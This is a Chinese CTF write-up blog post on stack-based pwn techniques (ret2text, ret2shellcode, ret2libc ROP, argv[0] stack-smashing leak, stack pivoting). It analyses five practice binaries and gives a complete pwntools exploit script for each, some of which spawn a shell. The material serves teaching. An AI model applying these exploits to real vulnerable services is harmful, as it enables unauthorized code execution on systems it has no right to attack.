tinytracer

  • 实践
    • CTF
    • 项目实践
  • 技术
    • C++
    • 逆向与汇编
    • 区块链安全
  • 探索
    • OWASP汉化
    • SQL
    • Kali
TinyTracer
In solitude, where we were at least alone.
  1. 首页
  2. 实践
  3. CTF
  4. 正文

pwn-栈题学习

2020年8月15日 4280点热度 0人点赞 0条评论

基础-ret2text

题目分析

首先看看程序的checksec

[email protected]:~/stack_learn/ret2_text$ checksec pwn1
[*] '/home/hjc/stack_learn/ret2_text/pwn1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

栈上无canary保护,程序无PIE,可以尝试通过覆写返回地址来达到控制执行流程。拖进IDA分析,发现程序中内置了getshell函数:

image-20200813223919224

程序中执行输入的vuln的反汇编代码如下:

__int64 vuln()
{
  char v1; // [rsp+0h] [rbp-10h]

  printf("Input:");
  return _isoc99_scanf((__int64)"%s", (__int64)&v1);
}

可以利用scanf进行栈溢出,覆写rip地址为getshell地址。从ida的反汇编代码可以看出,变量v1的地址位于rbp-0x10的位置,那么payload就可以由以下部分组成:大小为0x10的数据填充v1,8字节指针覆盖rsp,最后8字节指针覆盖rip,跳转至getshell()。设计一个简单的payload = 'A'*0x10+p64(0xdeadbeef)+p64(&getshell)

调试分析

连上gdb调试,在执行scanf前,指令流、堆栈和寄存器信息如图:

image-20200813230534367

执行payload后,程序信息如图。可以看到,从rsp至rbp之间的空间都被A填满,rbp被覆盖为0xdeadbeef,rip被覆写为getshell的函数地址。反汇编窗口也呈现程序在执行完ret后会进入到getshell函数中。

image-20200813231630169

POC

p = process('./pwn1')
#lauch_gdb(p)
#pause()
payload = 'A'*0x10
payload += p64(0xdeadbeef)#rbp
payload += p64(0x400686)#rip -> getshell
p.sendlineafter('Input:',payload)
p.interactive()

bss段利用-ret2shellcode

题目分析

程序的checksec信息如下:

 '/home/hjc/stack_learn/ret2_shellcode/pwn2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

基本上什么保护都没开,拖进ida康康:

image-20200813232855061image-20200813232925303

vuln函数可以利用变量v1进行栈溢出覆写返回地址,但程序中并未提供shell方法,需要自己动手丰衣足食。通过观察发现变量name位于bss段,且该段具有读写执行权限。如此即可利用第一次read方法将shellcode部署入name所在的地址中,第二部分通过栈溢出来将返回地址修改为name地址以执行shellcode。poc思路如下:

sh = generate_shellcode()#生成shellcode
name = read(sh)
payload = 'A'*0x20#填充v1
payload += p64(0xdeadbeef)#rbp
payload += p64(&name)#跳转至shellcode

调试分析

在gdb调试器中,第一次read执行完毕后,bss段的name内容被填充为shellcode:

image-20200813234411658

执行gets函数前:

image-20200813234614082

执行gets函数后,rip已被覆写为name地址:

image-20200813234711503

函数返回后跳转至shellcode中:

image-20200813234951524

POC

from pwn import *
context.arch = 'amd64'#指定架构

p = process('./pwn2')
shellcode = asm(shellcraft.sh())#构造shellcode
p.sendafter('Name:',shellcode)
payload = 'A'*0x20
payload += p64(0xdeadbeef)#rbp
payload += p64(0x601040)#rip 程序执行流跳转到bss段的name,可控
p.sendlineafter('Input:',payload)
p.interactive()

构造ROP-ret2libc

题目分析

程序checksec信息如下:

[*] '/home/hjc/stack_learn/ret2_libc/pwn3'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

拖进ida康康,与上一题类似,也是两个变量,两种数据段。不同的是这次name的数据段没有执行权限:

image-20200814004510494

image-20200814004554740

一没可利用的程序自定函数,二没可写可执行的数据段,不过程序未开启Canary和PIE,意味着程序指令地址是固定的,且栈的返回地址可控,got表也在,在这种情况下可以尝试手动构造rop来getshell。

rop的思路是借助程序中自带的指令来劫持程序的数据流。在Linux x64环境下,默认通过寄存器来传递前几个参数,自左向右第一个参数放入寄存器rdi。如果程序中自带了pop rdi和ret指令,就可以将栈上的数据传入寄存器中,寄存器的值作为参数传递入可控的地址中,由此实现可控的参数与函数调用,比如system('\bin\sh')。

image-20200814095958082

在程序中找到了连续pop+ret的片段,但是并没有pop rdi的指令存在。这时可以通过指令拆分进行构造,从0x400712开始的汇编指令为pop r15;ret,但是从0x400713开始执行,就变成了pop rdi;ret:

image-20200814100923311

如何确定跳转的地址?Linux中存在一种称为lazy reload的机制,将库中的函数地址存储于plt表与got表中。在进行第一次系统库函数调用时plt表无函数地址,系统会进入got表中查询库函数真实地址,然后将其放入plt表中,第二次调用时直接从plt表中跳转至库函数。

img

系统中每个库函数的地址都是相对库基址进行一定偏移所得,因此我们可以利用输出函数puts将libc的基址泄露出来,利用思路如下:

payload  = 'A'*0x10v #=> stack
payload += p64(0xdeadbeef) # => RBP
payload += p64(0x400713) # => RIP 
payload += got['puts']# => RDI
payload += plt['puts']# => RIP => puts(got['puts'])
payload += addr_of_vuln #程序执行流回到vuln,利用gets函数再次进行操作

调试分析

在调用gets前,程序执行流如下:

image-20200814102030969

调用gets后,程序执行流被劫持至pop rdi部分:

image-20200814102237924

进入0x400713,此时栈上的元素排布自上往下依次为:puts在库函数的位置,puts函数地址,vlun地址。程序首先执行pop rdi,将puts地址作为传入参数,然后ret指令将栈顶puts函数地址传入rip,调用puts函数输出地址。同时可以观察到,在跳转入plt['got']时有一条jmp指令,即puts已经被执行过一次,其真实地址已存入plt中,直接跳转即可:

image-20200814102749139

根据程序流劫持泄露出了puts的函数地址,libc基址的计算方式为:libc基址= 泄露puts地址 - 库内偏移

image-20200814103259374

在puts函数返回时,栈顶元素为我们之前布置的vlun地址,程序在弹栈后将跳转回vuln,再次调用gets进行进一步的操作:

image-20200814103435776

有了libc基址就可以通过固定偏移计算system函数的地址和/bin/sh字符串的位置,然后如前面劫持调用puts一样构造system('/bin/sh')调用,利用思路如下:

payload  = 'A'*0x10v #=> stack
payload += p64(0xdeadbeef) # => RBP
payload += p64(0x400713) # => RIP 
payload += addr_of('/bin/sh')# => RDI
payload += addr_of_system() # => RIP => system('/bin/sh')

程序执行pop rdi;ret指令后,控制流信息如图,即将执行system('/bin/sh')流程:

image-20200814104006855

POC

#coding:UTF-8
#NX开启,通过gadget控制寄存器传参至程序目标函数
from pwn import *
context.log_level = 'debug'
def lauch_gdb(p):
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)

def lauch_with_gdb(filename):
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    p=gdb.debug(filename,"break main")
    return p

p = process('./pwn3')
#p = lauch_with_gdb('./pwn3')
elf = ELF('./pwn3')
libc = elf.libc

vuln_addr = 0x400626
main_addr = 0x40064c

#执行某一次函数后,GOT表会存储一个函数在程序中的偏移地址
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi_ret = 0x400713
#lauch_gdb(p)
#pause()

payload = 'A'*0x10
payload += p64(0xdeadbeef)#rbp

#第一次rop 泄露libc基址。只能泄露已经执行过一次的函数的libc地址

payload += p64(rdi_ret) # rip -> gadget地址
payload += p64(puts_got) #pop rdi -> 泄露puts地址 = libc基址+库内偏移
payload += p64(puts_plt) #ret->pop rip ->into puts
payload += p64(vuln_addr) #puts返回 -> final pos

p.sendlineafter('Input:\n',payload)


content = p.readline()[:-1]
libc_base = u64(content.ljust(8,'\x00')) - libc.sym['puts']#计算libc基址
log.info('libc_base:'+hex(libc_base))

system_addr = libc_base + libc.sym['system']#system函数地址
binsh_addr = libc_base + libc.search('/bin/sh').next()#字符串地址

#第二次rop 劫持流程
payload = 'B' * 0x10
payload += p64(0xdeadbeef)
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter('Input:\n',payload)
p.interactive()

利用程序崩溃信息-smashing

题目分析

程序checksec信息如下

[*] '/home/hjc/stack_learn/smashing/smashing'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

除了PIE保护全开,在开启Canary的情况下直接执行栈溢出需要爆破Canary的值,难以利用。main函数伪代码如下:

ssize_t init()
{
  int fd; // ST0C_4

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  fd = open("./flag", 0);
  return read(fd, &flag, 0x30uLL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int fd; // ST1C_4
  char s; // [rsp+20h] [rbp-50h]
  char s1; // [rsp+40h] [rbp-30h]
  unsigned __int64 v7; // [rsp+68h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  memset(&s, 0, 0x20uLL);
  memset(&s, 0, 0x20uLL);
  fd = open("/dev/urandom", 0);
  read(fd, &s, 8uLL);
  puts("Passwd:");
  gets(&s1, &s);
  if ( !strcmp(&s1, &s) )
    printf("flag: %s\n", &flag);
  else
    puts("error!");
  return 0;
}

程序在开始会读入flag到一个变量中,到每次需要输入一个数与随机数比对,正确后才能输出flag内容,爆破难度极大。随便输入一下看看有啥提示

[email protected]:~/stack_learn/smashing$ cyclic 150
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
[email protected]:~/stack_learn/smashing$ ./smashing
Passwd:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma
error!
*** stack smashing detected ***: ./smashing terminated
Aborted

程序在崩溃时会提示程序终止,程序名称位于argv[0]参数中,加大力度试试:

[email protected]:~/stack_learn/smashing$ cyclic 280
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac
[email protected]:~/stack_learn/smashing$ ./smashing
Passwd:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac
error!
*** stack smashing detected ***:  terminated
Aborted

报错输出里面的程序名称不见了,可以确定输入的数据能覆写到argv[0]。据此,漏洞利用的思路为:PIE未开启,程序的指令数据的内存位置固定,可以覆写栈一路直到argv[0]的地址,然后把flag的地址放上去。

调试分析

在gets()前下断点,rdi寄存器的值为写入缓冲区的地址;也可以在gets()的函数栈中用info args来查看参数:

image-20200814133416462

浏览栈数据,根据程序名称确定argb[0]的地址:

image-20200814133445426

写入缓冲区起始地址为0x7ffe95dc7e50,argv[0]的地址为0x7ffe95dc7f68,相对偏移为0x118。据此可以写个简单的payload = 'A'*0x118+addr_of(flag)。执行payload后0x7ffe95dc7f68的内容由原来的argv[0]被覆写为flag的内容:

image-20200814133604970

程序继续执行会报错,错误信息中会输出flag的内容:

[DEBUG] Received 0x45 bytes:
    'error!\n'
    '*** stack smashing detected ***: flag{YOU_GOT_IT}\n'
    ' terminated\n'
error!
*** stack smashing detected ***: flag{YOU_GOT_IT}
 terminated
[*] Got EOF while reading in interactive

POC

from pwn import *

p = process('./smashing')

flag_addr = 0x6010a0

payload = '\x00'*0x118
payload += p64(flag_addr)
p.sendlineafter('Passwd:',payload)
p.interactive()

栈迁移-babymessage

题目分析

程序checksec信息如下:

[*] '/home/hjc18/PWN/qwb2020/babymessage/babymessage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)

只开了NX,没有Canary和PIE。

main函数的逻辑是经典的菜单题:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  menu();
  work();
  return 0;
}

work是程序的主流程函数,几个while/break看起来好像云里雾里,实际上是一个简单的switch逻辑。通过输入mm来切换执行的流程,那么相应的,传入的参数也被mm所控制。不过细看程序逻辑,v1的类型为signed int,leave_message前v1的校验逻辑只包含上界而无下界,意味着v1为负可以绕过第一个校验——由此产生一个思路:如何通过修改v1来控制传入参数:

__int64 work()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  buf = (char *)malloc(0x100uLL);
  v1 = mm + 0x10;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("choice: ");
          __isoc99_scanf("%d", &mm);
          if ( mm != 1 )
            break;
          leave_name();
        }
        if ( mm != 2 )
          break;
        if ( v1 > 0x100 )//incomplete arg check!! 
          v1 = 256;
        leave_message(v1);//v1 was controled by mm => 0x12
      }
      if ( mm != 3 )
        break;
      show(v1);//v1 was controled by mm => 0x13
    }
    if ( mm == 4 )
      break;
    puts("invalid choice");
  }
  return 0LL;
}

leave_name的作用为改写BSS段上的name变量,不过程序开启了NX,无法利用ret2shellcode;限制了name的读取长度为4:

__int64 leave_name()
{
  puts("name: ");
  name[(signed int)read(0, name, 4uLL)] = 0; 
  puts("done!\n");
  return 0LL;
}

# BSS
.bss:00000000006010D0 name            db 10h dup(?)           ; DATA XREF: leave_name+15↑o
.bss:00000000006010D0                                         ; leave_name+2E↑o ...
.bss:00000000006010D0 _bss            ends

leave_message将用户的输入读入至栈上的缓冲区,长度限制为传入的参数——注意,传入的参数类型为unsigned int,由先前的分析,如果传入v1的值为负,转换后的长度限制将非常大。这个点跟work里的负数溢出思路对应,看来方向没错。如果不修改v1的值,输入的长度限制为0x12,刚好够溢出RBP加上RIP的低4个字节。不过程序内部没有get_shell函数,RIP四个字节不够用:

__int64 __fastcall leave_message(unsigned int size)
{
  int v1; // ST14_4
  __int64 stack_buffer; // [rsp+18h] [rbp-8h]

  puts("message: ");
  v1 = read(0, &stack_buffer, size);            // size = 0x12
  strncpy(buf, (const char *)&stack_buffer, v1);
  buf[v1] = 0;
  puts("done!\n");
  return 0LL;
}

show函数打印name和用户输入buffer的内容:

__int64 __fastcall show(unsigned int a1)
{
  printf("%s says: ", name);
  write(1, buf, a1);
  return 0LL;
}

调试分析

初看起来是负数溢出,可是v1的值与switch绑定,没找到其他的修改方法。随手输入十几个字符试试,发现crash现场的RBP刚好被我们的输入覆盖了:

Starting program: /home/hjc18/PWN/qwb2020/babymessage/babymessage
Welcome to message system!
1. leave name
2. leave message
3. show message
4. exit
choice:
2
message:
ssssssssssssssssssssssssssssssssssssssssss
done!

# crash
RBP  0x7373737373737373 ('ssssssss')
RSP  0x7fffffffdc20 —▸ 0x7fffffffdd20 ◂— 0x1
RIP  0x400985 (work+107) ◂— cmp    dword ptr [rbp - 4], 0x100

恍然大悟,看了看leave_message的汇编,leave_ret组合拳:

.text:000000000040086F                 add     rax, rdx
.text:0000000000400872                 mov     byte ptr [rax], 0
.text:0000000000400875                 lea     rdi, aDone      ; "done!\n"
.text:000000000040087C                 call    _puts
.text:0000000000400881                 mov     eax, 0
.text:0000000000400886                 leave  <- target!
.text:0000000000400887                 retn
.text:0000000000400887 ; } // starts at 40080A

这样一来可以用栈迁移的方法修改v1,覆盖RBP至BSS段的name变量,将name的数据解析成v1,继而修改leave_message的写入长度,将返回地址覆写为puts,获取基址的方法与ret2libc相同:

# shell
[DEBUG] Received 0x5b bytes:
    'Welcome to message system!\n'
    '1. leave name\n'
    '2. leave message\n'
    '3. show message\n'
    '4. exit\n'
    'choice: \n'
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Received 0x7 bytes:
    'name: \n'
[DEBUG] Sent 0x4 bytes:
    00000000  50 00 00 0f => name: 0xf0000050

# mod_rbp
[DEBUG] Received 0x9 bytes:
    'choice: \n'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Received 0xa bytes:
    'message: \n'
[DEBUG] Sent 0x10 bytes:
    00000000  41 41 41 41  41 41 41 41  d4 10 60 00  00 00 00 00  => overflow rbp to 0x6010d4(name+4)

# reg
rsi  0x7ffc9311ac88 -> 0x4141414141414141 ('AAAAAAAA')
rbp  0x7ffc9311ac90 -> 0x6010d4 (mm+20) 

#assembly
0x400985 <work+107>    cmp    dword ptr [rbp - 4], 0x100 -> rbp-4 -> name
0x40098c <work+114>    jle    work+123 <0x400995> ->pass the check

# modify the length of strncpy
<leave_message+84>     call   [email protected] <0x400660>
dest: 0x1c06260 -> 0x4141414141414141 ('AAAAAAAA')
src: 0x7ffc9311ac88 -> 0x4141414141414141 ('AAAAAAAA')
n: 0x30

# stack_overflow to got
rsp  0x7ffc9311ac98 -> 0x400ac3 (__libc_csu_init+99) <- pop    rdi
     0x7ffc9311aca0 -> 0x601020 (_GLOBAL_OFFSET_TABLE_+32) -> 0x7f207b79fa30 (puts) <- push   r13
     0x7ffc9311aca8 -> 0x400670 ([email protected]) -> jmp    qword ptr [rip + 0x2009aa]
     0x7ffc9311acb0 -> 0x40091a (work) -> push   rbp
     0x7ffc9311acb8 -> 0x400a4f (main+114) -> mov    eax, 0

POC

#coding:UTF-8

from pwn import *

def lauch_gdb(p):
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)

def lauch_with_gdb(filename):
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    p=gdb.debug(filename,"break main")
    return p

p = process('./babymessage')
elf = ELF('./babymessage')
libc = ELF('./libc-2.27.so')
#work_addr = 0x40093F -> libc2.23可以成功,但2.27会crash
main_addr = 0x40091A

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi_ret = 0x400ac3

#lauch_gdb(p)
#pause()

payload = 'A'*0x8+p64(0x6010D4)
p.sendlineafter('choice:','1')
p.sendafter('name:',p32(0xf000050))
p.sendlineafter('choice:','2')
p.sendafter('message:',payload)
p.sendlineafter('choice:','2')
payload_2 = 'A'*0x8
payload_2 += p64(0x6010D4)


payload_2 += p64(rdi_ret) # rip -> gadget地址
payload_2 += p64(puts_got) #pop rdi -> 泄露puts地址 = libc基址+库内偏移
payload_2 += p64(puts_plt) #ret->pop rip ->into puts
payload_2 += p64(main_addr) #puts返回 -> final pos
p.sendafter('message:',payload_2)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = puts_addr- libc.sym['puts']#计算libc基址


system_addr = libc_base + libc.sym['system']#system函数地址
binsh_addr = libc_base + libc.search('/bin/sh').next()#字符串地址
log.info('libc_base:'+hex(libc_base))
log.info('system_base:'+hex(system_addr))
log.info('binsh_base:'+hex(binsh_addr))

#第二次rop 劫持流程
payload = 'A'*0x8+p64(0x6010D4)
p.sendlineafter('choice:','1')
p.sendafter('name:',p32(0xf000050))
p.sendlineafter('choice:','2')
p.sendafter('message:',payload)
p.sendlineafter('choice:','2')


#pause()
payload = 'A' * 0x8
payload += p64(0x6010D4)
payload += p64(libc_base+0x4f365)
p.sendafter('message:',payload)

p.interactive()

标签: pwn stack
最后更新:2020年9月1日

Chernobyl

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据。

COPYRIGHT © 2021 tinytracer.com. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang